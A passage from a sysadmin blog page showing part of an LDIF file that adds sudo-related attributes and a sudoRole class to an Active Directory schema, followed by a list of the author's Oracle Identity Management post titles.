schemaIDGUID:: D6QR4P5UyUen3RGYJCHCPg==

objectCategory:

CN=Attribute-Schema,CN=Schema,CN=Configuration,DC=X



dn: CN=sudoRunAs,CN=Schema,CN=Configuration,DC=X

changetype: add

objectClass: top

objectClass: attributeSchema

cn: sudoRunAs

distinguishedName: CN=sudoRunAs,CN=Schema,CN=Configuration,DC=X

instanceType: 4

attributeID: 1.3.6.1.4.1.15953.9.1.4

attributeSyntax: 2.5.5.5

isSingleValued: FALSE

showInAdvancedViewOnly: TRUE

adminDisplayName: sudoRunAs

adminDescription: User(s) impersonated by sudo

oMSyntax: 22

lDAPDisplayName: sudoRunAs

name: sudoRunAs

schemaIDGUID:: CP98mCQTyUKKxGrQeM80hQ==

objectCategory:

CN=Attribute-Schema,CN=Schema,CN=Configuration,DC=X



dn: CN=sudoOption,CN=Schema,CN=Configuration,DC=X

changetype: add

objectClass: top

objectClass: attributeSchema

cn: sudoOption

distinguishedName:
CN=sudoOption,CN=Schema,CN=Configuration,DC=X

instanceType: 4

attributeID: 1.3.6.1.4.1.15953.9.1.5

attributeSyntax: 2.5.5.5

isSingleValued: FALSE

showInAdvancedViewOnly: TRUE

adminDisplayName: sudoOption

adminDescription: Option(s) followed by sudo

oMSyntax: 22

lDAPDisplayName: sudoOption

name: sudoOption

schemaIDGUID:: ojaPzBBlAEmsvrHxQctLnA==

objectCategory:

CN=Attribute-Schema,CN=Schema,CN=Configuration,DC=X



dn: CN=sudoRole,CN=Schema,CN=Configuration,DC=X

changetype: add

objectClass: top

objectClass: classSchema

cn: sudoRole

distinguishedName:
CN=sudoRole,CN=Schema,CN=Configuration,DC=X

instanceType: 4

possSuperiors: container

possSuperiors: top

subClassOf: top

governsID: 1.3.6.1.4.1.15953.9.2.1

mayContain: sudoCommand

mayContain: sudoHost

mayContain: sudoOption

mayContain: sudoRunAs

mayContain: sudoUser

rDNAttID: cn

showInAdvancedViewOnly: FALSE

adminDisplayName: sudoRole

adminDescription: Sudoer Entries

objectClassCategory: 1

lDAPDisplayName: sudoRole

name: sudoRole

schemaIDGUID:: SQn432lnZ0+ukbdh3+gN3w==

systemOnly: FALSE

objectCategory:
CN=Class-Schema,CN=Schema,CN=Configuration,DC=X

defaultObjectCategory:
CN=sudoRole,CN=Schema,CN=Configuration,DC=X

# END OF FILE

My Oracle IDM posts

Those are just for my own reference:

1. eSSO LM with ADAM
   Posted on: Apr 4, 2007 5:58 PM
2. OIM PeopleSoft Connector Employee Bulk Reconciliation
   Posted on: Sep 5, 2007 10:46 PM
3. Oracle eSSO Kiosk Mode - Application Shutdown
   Posted on: Apr 3, 2007 11:25 PM
4. About Oracle Enterprise single sign-on ESSO
   Posted on: Jun 4, 2007 6:47 PM
5. Configuration Assistants Fail after SOA Suite 10.1.3 install
   Posted on: Dec 14, 2007 8:03 PM
6. Flat File Generic Connector: Unable to Create Connector
   Posted on: Feb 5, 2008 11:59 PM
7. OIM - AD Connector 904
   Posted on: Aug 3, 2007 11:00 AM
8. OIM Admin Console Customization: Replacing product logo
   Posted on: Feb 27, 2008 8:09 PM
9. OIM Rogue Accounts Report
   Posted on: Feb 26, 2008 11:22 AM
10. Searching for OIM user based on UDF using API
    Posted on: Jan 15, 2008 9:43 PM